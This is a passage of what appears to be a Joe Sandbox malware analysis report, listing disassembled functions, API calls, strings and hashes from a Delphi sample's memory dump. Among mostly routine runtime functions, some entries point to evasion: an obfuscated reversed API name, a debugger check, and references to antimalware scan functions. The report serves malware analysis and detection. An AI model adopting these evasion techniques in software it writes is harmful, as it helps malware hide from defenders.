GetProcAddress.KERNEL32(00000000,Heap32ListNext), ref: 031BAB6C
GetProcAddress.KERNEL32(00000000,Heap32First), ref: 031BAB7E
GetProcAddress.KERNEL32(00000000,Heap32Next), ref: 031BAB90
GetProcAddress.KERNEL32(00000000,Toolhelp32ReadProcessMemory), ref: 031BABA2
GetProcAddress.KERNEL32(00000000,Process32First), ref: 031BABB4
GetProcAddress.KERNEL32(00000000,Process32Next), ref: 031BABC6
GetProcAddress.KERNEL32(00000000,Process32FirstW), ref: 031BABD8
GetProcAddress.KERNEL32(00000000,Process32NextW), ref: 031BABEA
GetProcAddress.KERNEL32(00000000,Thread32First), ref: 031BABFC
GetProcAddress.KERNEL32(00000000,Thread32Next), ref: 031BAC0E
GetProcAddress.KERNEL32(00000000,Module32First), ref: 031BAC20
GetProcAddress.KERNEL32(00000000,Module32Next), ref: 031BAC32
GetProcAddress.KERNEL32(00000000,Module32FirstW), ref: 031BAC44
GetProcAddress.KERNEL32(00000000,Module32NextW), ref: 031BAC56

Strings

Process32NextW, xrefs: 031BABE2
CreateToolhelp32Snapshot, xrefs: 031BAB40
Process32First, xrefs: 031BABAC
Thread32First, xrefs: 031BABF4
Module32FirstW, xrefs: 031BAC3C
kernel32.dll, xrefs: 031BAB2B
Heap32Next, xrefs: 031BAB88
Process32Next, xrefs: 031BABBE
Heap32First, xrefs: 031BAB76
Module32NextW, xrefs: 031BAC4E
Toolhelp32ReadProcessMemory, xrefs: 031BAB9A
Heap32ListFirst, xrefs: 031BAB52
Process32FirstW, xrefs: 031BABD0
Module32Next, xrefs: 031BAC2A
Module32First, xrefs: 031BAC18
Thread32Next, xrefs: 031BAC06
Heap32ListNext, xrefs: 031BAB64

Memory Dump Source

Source File: 0000000A.00000002.1831975910.00000000031A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_31a1000_Cllyjbrx.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: CreateToolhelp32Snapshot$Heap32First$Heap32ListFirst$Heap32ListNext$Heap32Next$Module32First$Module32FirstW$Module32Next$Module32NextW$Process32First$Process32FirstW$Process32Next$Process32NextW$Thread32First$Thread32Next$Toolhelp32ReadProcessMemory$kernel32.dll
API String ID: 667068680-597814768
Opcode ID: d9dc3150b8e456fdb34e11f8e484d3cb132e42c9ee8b804d67258c64b6898c63
Instruction ID: 0646a5d3d52cc7023fa40afa187535ec76a4bc1593474fe39d0d1cfb11c48532
Opcode Fuzzy Hash: d9dc3150b8e456fdb34e11f8e484d3cb132e42c9ee8b804d67258c64b6898c63
Instruction Fuzzy Hash: EA3101B8644750AFDF10EFBCEC89AAD77B8AF2D2027045961E814DF24AE374A450CB51

Function 031B6ED8 Relevance: 24.5, APIs: 7, Strings: 7, Instructions: 32libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ole32.dll), ref: 031B6EDE
GetProcAddress.KERNEL32(00000000,CoCreateInstanceEx), ref: 031B6EEF
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 031B6EFF
GetProcAddress.KERNEL32(00000000,CoAddRefServerProcess), ref: 031B6F0F
GetProcAddress.KERNEL32(00000000,CoReleaseServerProcess), ref: 031B6F1F
GetProcAddress.KERNEL32(00000000,CoResumeClassObjects), ref: 031B6F2F
GetProcAddress.KERNEL32(00000000,CoSuspendClassObjects), ref: 031B6F3F

Strings

CoInitializeEx, xrefs: 031B6EF9
ole32.dll, xrefs: 031B6ED9
CoSuspendClassObjects, xrefs: 031B6F39
CoAddRefServerProcess, xrefs: 031B6F09
CoResumeClassObjects, xrefs: 031B6F29
CoCreateInstanceEx, xrefs: 031B6EE9
CoReleaseServerProcess, xrefs: 031B6F19

Memory Dump Source

Source File: 0000000A.00000002.1831975910.00000000031A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_31a1000_Cllyjbrx.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: CoAddRefServerProcess$CoCreateInstanceEx$CoInitializeEx$CoReleaseServerProcess$CoResumeClassObjects$CoSuspendClassObjects$ole32.dll
API String ID: 667068680-2233174745
Opcode ID: ed87545d6584ef5a52a763ce8bc2d2ae29e00973059eeaf8268c136d0fb74543
Instruction ID: 1049c17b129bc2e787bd6edc0e0eb9c4fd97038785cb5feca623bb9fbbee7350
Opcode Fuzzy Hash: ed87545d6584ef5a52a763ce8bc2d2ae29e00973059eeaf8268c136d0fb74543
Instruction Fuzzy Hash: 41F04CFA6587807FEA04FB785C928AA2B78A93C5073082C1DF91599987E779D8448B70

Function 031A2530 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 254windowCOMMON

Download Yara Rule

APIs

MessageBoxA.USER32(00000000,?,Unexpected Memory Leak,00002010), ref: 031A28CE

Strings

Unknown, xrefs: 031A278C
The unexpected small block leaks are:, xrefs: 031A2707
, xrefs: 031A2814
Unexpected Memory Leak, xrefs: 031A28C0
7, xrefs: 031A26A1
An unexpected memory leak has occurred. , xrefs: 031A2690
String, xrefs: 031A27A1
bytes: , xrefs: 031A275D
The sizes of unexpected leaked medium and large blocks are: , xrefs: 031A2849

Memory Dump Source

Source File: 0000000A.00000002.1831975910.00000000031A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_31a1000_Cllyjbrx.jbxd

Similarity

API ID: Message
String ID: $ bytes: $7$An unexpected memory leak has occurred. $String$The sizes of unexpected leaked medium and large blocks are: $The unexpected small block leaks are:$Unexpected Memory Leak$Unknown
API String ID: 2030045667-32948583
Opcode ID: ad446a0b1a5ba0e2f7eee0332624210fe576cd9c551fe1e4249b01706b2bf381
Instruction ID: 57d72bc7ddde31a5b2728a33fdb9fc0f5ee83c5be594650a2ab81b235b0cfd99
Opcode Fuzzy Hash: ad446a0b1a5ba0e2f7eee0332624210fe576cd9c551fe1e4249b01706b2bf381
Instruction Fuzzy Hash: 98A1D838A047648BDB21EA2CCC84BD8B6F4EB0D752F1448E5E949AB281CB7589C7CB51

Function 031A252E Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 188COMMON

Download Yara Rule

Strings

The unexpected small block leaks are:, xrefs: 031A2707
, xrefs: 031A2814
Unexpected Memory Leak, xrefs: 031A28C0
7, xrefs: 031A26A1
An unexpected memory leak has occurred. , xrefs: 031A2690
bytes: , xrefs: 031A275D
The sizes of unexpected leaked medium and large blocks are: , xrefs: 031A2849

Memory Dump Source

Source File: 0000000A.00000002.1831975910.00000000031A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_31a1000_Cllyjbrx.jbxd

Similarity

API ID:
String ID: $ bytes: $7$An unexpected memory leak has occurred. $The sizes of unexpected leaked medium and large blocks are: $The unexpected small block leaks are:$Unexpected Memory Leak
API String ID: 0-2723507874
Opcode ID: 7f857ef551ca2d55c22f350df488b8bd6db73272bd588353ca6fe96b3d7cfea6
Instruction ID: 2231315e52af583b6564cfaed6dcf2b7a9e5e93bb09cfa18c7d86eaed24f3129
Opcode Fuzzy Hash: 7f857ef551ca2d55c22f350df488b8bd6db73272bd588353ca6fe96b3d7cfea6
Instruction Fuzzy Hash: 6D71D738A047688FDB21DA2CCC84BD8BAF4EB0D752F1448E5E54DEB241DB758AC6CB51

Function 031A5908 Relevance: 13.6, APIs: 6, Strings: 3, Instructions: 139stringCOMMON

Download Yara Rule

APIs

lstrcpyn.KERNEL32(?,?,?), ref: 031A596C
lstrcpyn.KERNEL32(?,?,0000005C,kernel32.dll), ref: 031A59D0
lstrcpyn.KERNEL32(?,?,00000001,?,?,?,kernel32.dll), ref: 031A5A06
lstrcpyn.KERNEL32(0000005D,?,00000104), ref: 031A5A6B
lstrlen.KERNEL32(?,0000005D,?,00000104), ref: 031A5A77
lstrcpyn.KERNEL32(?,0000005C,?,?,0000005D,?,00000104), ref: 031A5A99

Strings

GetLongPathNameA, xrefs: 031A5933
\, xrefs: 031A5A49
kernel32.dll, xrefs: 031A5920

Memory Dump Source

Source File: 0000000A.00000002.1831975910.00000000031A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_31a1000_Cllyjbrx.jbxd

Similarity

API ID: lstrcpyn$lstrlen
String ID: GetLongPathNameA$\$kernel32.dll
API String ID: 4046762626-1565342463
Opcode ID: c63591987aeeae03e60ffcc5e2ea22094fde71de9341a193948efe6db4ecf5dc
Instruction ID: 20e9d213faf093660da88840d5ec49aaf69fb9a0de71157b0e43839f26c12848
Opcode Fuzzy Hash: c63591987aeeae03e60ffcc5e2ea22094fde71de9341a193948efe6db4ecf5dc
Instruction Fuzzy Hash: BA41637DE04A19BFDB20DAECCC88ADEB7BDAF0D252F1445A6D584DB241D770DA408B50

Function 031ABDC0 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 201threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000000,031AC08B,?,?,00000000,00000000), ref: 031ABDF6

Strings

AMPM, xrefs: 031AC00A
:mm, xrefs: 031AC029
AMPM , xrefs: 031AC019
:mm:ss, xrefs: 031AC046
m/d/yy, xrefs: 031ABEC5
mmmm d, yyyy, xrefs: 031ABEF2

Memory Dump Source

Source File: 0000000A.00000002.1831975910.00000000031A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_31a1000_Cllyjbrx.jbxd

Similarity

API ID: LocaleThread
String ID: AMPM$:mm$:mm:ss$AMPM $m/d/yy$mmmm d, yyyy
API String ID: 635194068-2493093252
Opcode ID: 47eb040b796b09de8e8b356345a84d38b948202f80cb8616b1913285d39742d8
Instruction ID: 366eca345297a49900364e2ae61c4fa1d436df14b221be630ab82113e2bc8a55
Opcode Fuzzy Hash: 47eb040b796b09de8e8b356345a84d38b948202f80cb8616b1913285d39742d8
Instruction Fuzzy Hash: 25614A3DB00B489BCB00EBACED90A9F76A69F8C302F509475A501EF745CB79DA09D791

Function 031BAFE0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 102COMMON

Download Yara Rule

APIs

IsBadReadPtr.KERNEL32(?,00000004), ref: 031BB000
GetModuleHandleW.KERNEL32(KernelBase,LoadLibraryExA,?,00000004,?,00000014), ref: 031BB017
IsBadReadPtr.KERNEL32(?,00000004), ref: 031BB0AB
IsBadReadPtr.KERNEL32(?,00000002), ref: 031BB0B7
IsBadReadPtr.KERNEL32(?,00000014), ref: 031BB0CB

Strings

KernelBase, xrefs: 031BB012
LoadLibraryExA, xrefs: 031BB00D

Memory Dump Source

Source File: 0000000A.00000002.1831975910.00000000031A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_31a1000_Cllyjbrx.jbxd

Similarity

API ID: Read$HandleModule
String ID: KernelBase$LoadLibraryExA
API String ID: 2226866862-113032527
Opcode ID: a54e10121a73725663ad751ca1afe894334bf8ebd560171999239c4854fefdc6
Instruction ID: d555c034065b9aebe9c42f48a46df4bd163e72f73424030f850b57c206f3e4db
Opcode Fuzzy Hash: a54e10121a73725663ad751ca1afe894334bf8ebd560171999239c4854fefdc6
Instruction Fuzzy Hash: 19317475A08705BBDB20DB69CC85FA9B7BCAF0D754F048154FA64AB6C1D370A940CBA0

Function 031AAEC4 Relevance: 10.6, APIs: 7, Instructions: 56filewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 031AAD3C: VirtualQuery.KERNEL32(?,?,0000001C), ref: 031AAD59
Part of subcall function 031AAD3C: GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 031AAD7D
Part of subcall function 031AAD3C: GetModuleFileNameA.KERNEL32(032267F8,?,00000105,?,?,00000105), ref: 031AAD98
Part of subcall function 031AAD3C: LoadStringA.USER32(00000000,031A6860,?,00000100), ref: 031AAE2E

CharToOemA.USER32(?,?), ref: 031AAEFB
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000,?,?), ref: 031AAF18
WriteFile.KERNEL32(00000000,000000F4,?,00000000,?,00000000,?,?), ref: 031AAF1E
GetStdHandle.KERNEL32(000000F4,031AAF88,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,?,?), ref: 031AAF33
WriteFile.KERNEL32(00000000,000000F4,031AAF88,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,?,?), ref: 031AAF39
LoadStringA.USER32(00000000,031A67D8,?,00000040), ref: 031AAF5B
MessageBoxA.USER32(00000000,?,?,00002010), ref: 031AAF71

Memory Dump Source

Source File: 0000000A.00000002.1831975910.00000000031A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_31a1000_Cllyjbrx.jbxd

Similarity

API ID: File$HandleLoadModuleNameStringWrite$CharMessageQueryVirtual
String ID:
API String ID: 185507032-0
Opcode ID: 752c5c609a5d9619336dbee9e19652a50ae65012b93fe2e0096a8ceb0bdd3acc
Instruction ID: 2828c78888addf563511691ae98986d789c8490878d0dfa686b4456e89418535
Opcode Fuzzy Hash: 752c5c609a5d9619336dbee9e19652a50ae65012b93fe2e0096a8ceb0bdd3acc
Instruction Fuzzy Hash: 14115ABE518B00BFD200FBA8DC85F9F77ACAF48602F444925B754DA0E1DB74E9448762

Function 031A435C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 38filewindowCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001E,?,00000000,?,031A4423,?,?,?,?,?,?,?,031A44CE,031A2CF3), ref: 031A4395
WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,031A4423,?,?,?,?,?,?,?,031A44CE), ref: 031A439B
GetStdHandle.KERNEL32(000000F5,031A43E4,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,031A4423), ref: 031A43B0
WriteFile.KERNEL32(00000000,000000F5,031A43E4,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,031A4423), ref: 031A43B6
MessageBoxA.USER32(00000000,Runtime error at 00000000,031CE754,00000000), ref: 031A43D4

Strings

Runtime error at 00000000, xrefs: 031A438E, 031A43CD

Memory Dump Source

Source File: 0000000A.00000002.1831975910.00000000031A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_31a1000_Cllyjbrx.jbxd

Similarity

API ID: FileHandleWrite$Message
String ID: Runtime error at 00000000
API String ID: 1570097196-1393363852
Opcode ID: c59f2a776ffa5e4a9a4322a442fc40653225d2e1734f4a2ae6f2a1479cb803ac
Instruction ID: b92b165f0c0f5a946658c749c895a95d3c3debcb9ba76b0dc0ca4771a273bda7
Opcode Fuzzy Hash: c59f2a776ffa5e4a9a4322a442fc40653225d2e1734f4a2ae6f2a1479cb803ac
Instruction Fuzzy Hash: D7F0246C6957907BF720F2BA6C0AF5D265C4B1CF23F944319F2209C0C68BE040C48772

Function 031AE58C Relevance: 9.1, APIs: 6, Instructions: 139COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 031AE625
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 031AE641
SafeArrayCreate.OLEAUT32(0000000C,?,?), ref: 031AE67A
SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 031AE6F7
SafeArrayPtrOfIndex.OLEAUT32(00000000,?,?), ref: 031AE710
VariantCopy.OLEAUT32(?,00000000), ref: 031AE745

Memory Dump Source

Source File: 0000000A.00000002.1831975910.00000000031A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_31a1000_Cllyjbrx.jbxd

Similarity

API ID: ArraySafe$BoundIndex$CopyCreateVariant
String ID:
API String ID: 351091851-0
Opcode ID: a9a696700a5c398af6b49de9a61da99d4f96f00f59c5a2cf8b5ab96da2f16d4b
Instruction ID: 2a10e1220d2fd04a1442aea74c5748e05b0265ed3a0e18170d394d76d5989043
Opcode Fuzzy Hash: a9a696700a5c398af6b49de9a61da99d4f96f00f59c5a2cf8b5ab96da2f16d4b
Instruction Fuzzy Hash: 5F51087DA01A299BCB26DB5CD990BD9B3BCAF4C201F0445D5E509EB201DB30AF858FA0

Function 031AAB00 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 148threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(?,00000000,031AACD0,?,?,?,?,00000000,00000000,00000000,00000000,00000000), ref: 031AAB2F

Strings

ggg, xrefs: 031AAC15
yyyy, xrefs: 031AAC25
eeee, xrefs: 031AAC3E

Memory Dump Source

Source File: 0000000A.00000002.1831975910.00000000031A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_31a1000_Cllyjbrx.jbxd

Similarity

API ID: LocaleThread
String ID: eeee$ggg$yyyy
API String ID: 635194068-1253427255
Opcode ID: 6b5a3b0b41cfc28c7053a1b64dc902f1f590196f4b803434af440213fc70367c
Instruction ID: 0bd21a3f429f921a47d35cc73b53f24d39ca1ead303ef71f079ffc450b426c72
Opcode Fuzzy Hash: 6b5a3b0b41cfc28c7053a1b64dc902f1f590196f4b803434af440213fc70367c
Instruction Fuzzy Hash: 4A41F0BC714F484BE716EABD88902BEB7EADF8D103F194065D442DB348EF64D901C261

Function 031B8274 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 44libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,Kernel32), ref: 031B82C7
GetProcAddress.KERNEL32(?,?), ref: 031B82D9

Strings

Kernel32, xrefs: 031B82BC
sserddAcorPteG, xrefs: 031B828F

Memory Dump Source

Source File: 0000000A.00000002.1831975910.00000000031A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_31a1000_Cllyjbrx.jbxd

Similarity

API ID: AddressProc
String ID: Kernel32$sserddAcorPteG
API String ID: 190572456-1372893251
Opcode ID: 87fdbb3a4ff3ad3d7ee1b1ff0a08409c00110bae913836a1efc146a811a0e939
Instruction ID: a0dfd5cf710dc1c4e1958320d964d77ce5ad379fb6397ad67905ee844f713950
Opcode Fuzzy Hash: 87fdbb3a4ff3ad3d7ee1b1ff0a08409c00110bae913836a1efc146a811a0e939
Instruction Fuzzy Hash: D801287D604748BFDB10EBA9EC51E9EBBBDEB4CA11F518460E804DB741DB70A900CA68

Function 031BF6E8 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KernelBase,?,031BFAEB,UacInitialize,03223160,031CB7B8,OpenSession,03223160,031CB7B8,ScanBuffer,03223160,031CB7B8,ScanString,03223160,031CB7B8,Initialize), ref: 031BF6EE
GetProcAddress.KERNEL32(00000000,IsDebuggerPresent), ref: 031BF700

Strings

KernelBase, xrefs: 031BF6E9
IsDebuggerPresent, xrefs: 031BF6FA

Memory Dump Source

Source File: 0000000A.00000002.1831975910.00000000031A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_31a1000_Cllyjbrx.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: IsDebuggerPresent$KernelBase
API String ID: 1646373207-2367923768
Opcode ID: eca8e670bd653ece8aa695111de99887afacf6a5b61f69df5a44cf1bfca155e6
Instruction ID: e1a904084046845e42c9768d603f79d82ff61bd6aace06bd44aec48821b84517
Opcode Fuzzy Hash: eca8e670bd653ece8aa695111de99887afacf6a5b61f69df5a44cf1bfca155e6
Instruction Fuzzy Hash: 4AD012EA360B502FDE00F6FC2CC589D1298896C42B3280EA0F03ACA093E7A6891B5054

Function 031AC474 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 16libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,?,031CD10B,00000000,031CD11E), ref: 031AC47A
GetProcAddress.KERNEL32(00000000,GetDiskFreeSpaceExA), ref: 031AC48B

Strings

GetDiskFreeSpaceExA, xrefs: 031AC485
kernel32.dll, xrefs: 031AC475

Memory Dump Source

Source File: 0000000A.00000002.1831975910.00000000031A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_31a1000_Cllyjbrx.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetDiskFreeSpaceExA$kernel32.dll
API String ID: 1646373207-3712701948
Opcode ID: 1fc5b606dde7084deabf999cc51d98ffd68bd7245bc53cd0afeb40f92158d3ed
Instruction ID: 36f22c28a7154e2bda7e7b6ec7d25186d8e3f4a1ac4b2469dcb687a760259db0
Opcode Fuzzy Hash: 1fc5b606dde7084deabf999cc51d98ffd68bd7245bc53cd0afeb40f92158d3ed
Instruction Fuzzy Hash: D1D05EAC214F045FDA00FABD548063539D8A30C313F084025E412D9102E76654408FF8

Function 031AE1E8 Relevance: 6.1, APIs: 4, Instructions: 115COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 031AE297
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 031AE2B3
SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 031AE32A
VariantClear.OLEAUT32(?), ref: 031AE353

Memory Dump Source

Source File: 0000000A.00000002.1831975910.00000000031A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_31a1000_Cllyjbrx.jbxd

Similarity

API ID: ArraySafe$Bound$ClearIndexVariant
String ID:
API String ID: 920484758-0
Opcode ID: cd7e56306b14da739c94dd26db2064fb48e8dac8868798fc3541503821c87934
Instruction ID: 56c1e98b06e724fa7dd7ade6921ca321c737fff8964df58a529dfaccb02a50bb
Opcode Fuzzy Hash: cd7e56306b14da739c94dd26db2064fb48e8dac8868798fc3541503821c87934
Instruction Fuzzy Hash: 9541FB79A01B299BCB62DB5CCD90BC9B3BCAF4D311F0441D5E549A7211DB34AF818F60

Function 031AAD3C Relevance: 6.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 031AAD59
GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 031AAD7D
GetModuleFileNameA.KERNEL32(032267F8,?,00000105,?,?,00000105), ref: 031AAD98
LoadStringA.USER32(00000000,031A6860,?,00000100), ref: 031AAE2E

Memory Dump Source

Source File: 0000000A.00000002.1831975910.00000000031A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_31a1000_Cllyjbrx.jbxd

Similarity

API ID: FileModuleName$LoadQueryStringVirtual
String ID:
API String ID: 3990497365-0
Opcode ID: d608d48e93b76ee9a5d3f5a03c0bb77bd64ae0c62456da3f4d5d713eaddbac87
Instruction ID: 99a71c9ffde392dd03ac2adb0852e5a00858da7ffce522a67bf09932babb83c1
Opcode Fuzzy Hash: d608d48e93b76ee9a5d3f5a03c0bb77bd64ae0c62456da3f4d5d713eaddbac87
Instruction Fuzzy Hash: BA413979A00B589BDB21EB6CDC84BDAB7F8AF0C202F0440E5A548EB241D7749F84CF50

Function 031AAD3A Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 031AAD59
GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 031AAD7D
GetModuleFileNameA.KERNEL32(032267F8,?,00000105,?,?,00000105), ref: 031AAD98
LoadStringA.USER32(00000000,031A6860,?,00000100), ref: 031AAE2E

Memory Dump Source

Source File: 0000000A.00000002.1831975910.00000000031A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_31a1000_Cllyjbrx.jbxd

Similarity

API ID: FileModuleName$LoadQueryStringVirtual
String ID:
API String ID: 3990497365-0
Opcode ID: 3fa7e7a42792379d3b2991a9d2e427262dfbd8d1f1a5c68dc0a87f231c617ca1
Instruction ID: 4d908c71c096a01b51ab7bb47982e44d77e36a71b44ac13a414252c0df9b4c93
Opcode Fuzzy Hash: 3fa7e7a42792379d3b2991a9d2e427262dfbd8d1f1a5c68dc0a87f231c617ca1
Instruction Fuzzy Hash: 27412979A40B589BDB61EB6CDC84BDAB7F8AF1C202F0440E5A548EB241DB749F84CB50

Function 031AAA50 Relevance: 6.0, APIs: 4, Instructions: 50threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(?,00000000,031AAAE7,?,?,00000000), ref: 031AAA68
GetThreadLocale.KERNEL32(00000000,00000004,00000000,031AAAE7,?,?,00000000), ref: 031AAA98
GetThreadLocale.KERNEL32(00000000,00000003,Function_0000999C,00000000,00000000,00000004,00000000,031AAAE7,?,?,00000000), ref: 031AAAC1
EnumCalendarInfoA.KERNEL32(Function_000099D8,00000000,00000000,00000003), ref: 031AAACC

Memory Dump Source

Source File: 0000000A.00000002.1831975910.00000000031A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_31a1000_Cllyjbrx.jbxd

Similarity

API ID: LocaleThread$CalendarEnumInfo
String ID:
API String ID: 1139405593-0
Opcode ID: b77a1c318a7b9dfdf275f14b01488b8341a2e2de5fa4a8a814424cef2df9de41
Instruction ID: 4630af882e48244d7591653a492eda18b1ef07e210f99c514a3e56500f9ee9c8
Opcode Fuzzy Hash: b77a1c318a7b9dfdf275f14b01488b8341a2e2de5fa4a8a814424cef2df9de41
Instruction Fuzzy Hash: FA01F2BD200F847FE712EEACCD11B6E36ACDF8D622F510560E514EA6C0DB659E00C265

Function 031A1C6C Relevance: 5.3, APIs: 4, Instructions: 330COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1831975910.00000000031A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_31a1000_Cllyjbrx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8cfdc2812cc0e99985739797b5195dd592175ba863bd65274f188f79a98c6a19
Instruction ID: 4a76aa2d8e70e34f5d1f9621c00400bed33b2e2b566b39b421e4678c998eb4a5
Opcode Fuzzy Hash: 8cfdc2812cc0e99985739797b5195dd592175ba863bd65274f188f79a98c6a19
Instruction Fuzzy Hash: 96A1C26E710F502BD719EA7C9C843BDB2C69B8C263F2D827EE115CB385EB64C9558240

Function 031A94EC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 79threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000004,?,00000000,?,00000100,00000000,031A95DA), ref: 031A9572
GetDateFormatA.KERNEL32(00000000,00000004,?,00000000,?,00000100,00000000,031A95DA), ref: 031A9578

Strings

yyyy, xrefs: 031A954D

Memory Dump Source

Source File: 0000000A.00000002.1831975910.00000000031A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_31a1000_Cllyjbrx.jbxd

Similarity

API ID: DateFormatLocaleThread
String ID: yyyy
API String ID: 3303714858-3145165042
Opcode ID: 220cdae6ac18579b2ca4b64222149f708701671ac487fe4e8b5a10efcd8ec118
Instruction ID: d9dda53101535cfa50315942a090946b96f9d5fade0b20ec080c1fe71f38dcfe
Opcode Fuzzy Hash: 220cdae6ac18579b2ca4b64222149f708701671ac487fe4e8b5a10efcd8ec118
Instruction Fuzzy Hash: C0214179A04A589FCB10DF6DC942AAEB3A8EF0D711F5504A6E805EB340DB709E80CA65

Function 031A3598 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32(?), ref: 031A3603

Strings

SOFTWARE\Borland\Delphi\RTL, xrefs: 031A35B0
FPUMaskValue, xrefs: 031A35E4

Memory Dump Source

Source File: 0000000A.00000002.1831975910.00000000031A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_31a1000_Cllyjbrx.jbxd

Similarity

API ID: Close
String ID: FPUMaskValue$SOFTWARE\Borland\Delphi\RTL
API String ID: 3535843008-4173385793
Opcode ID: 5ae6159b691876ecae33d38485e779d5c458c5368083f0085a7208e8615a3b74
Instruction ID: b1b0497234cff445cb583d77e6047dc8ef88ea870443ca31780376e81095f3e0
Opcode Fuzzy Hash: 5ae6159b691876ecae33d38485e779d5c458c5368083f0085a7208e8615a3b74
Instruction Fuzzy Hash: 3D01B57DA50758BFDB11DF948D02BBDB7ECD70CB12F100562BA14D6680E774AA10C669

Function 031B8338 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47COMMON

Download Yara Rule

APIs

Part of subcall function 031B81CC: GetModuleHandleA.KERNELBASE(?), ref: 031B821E

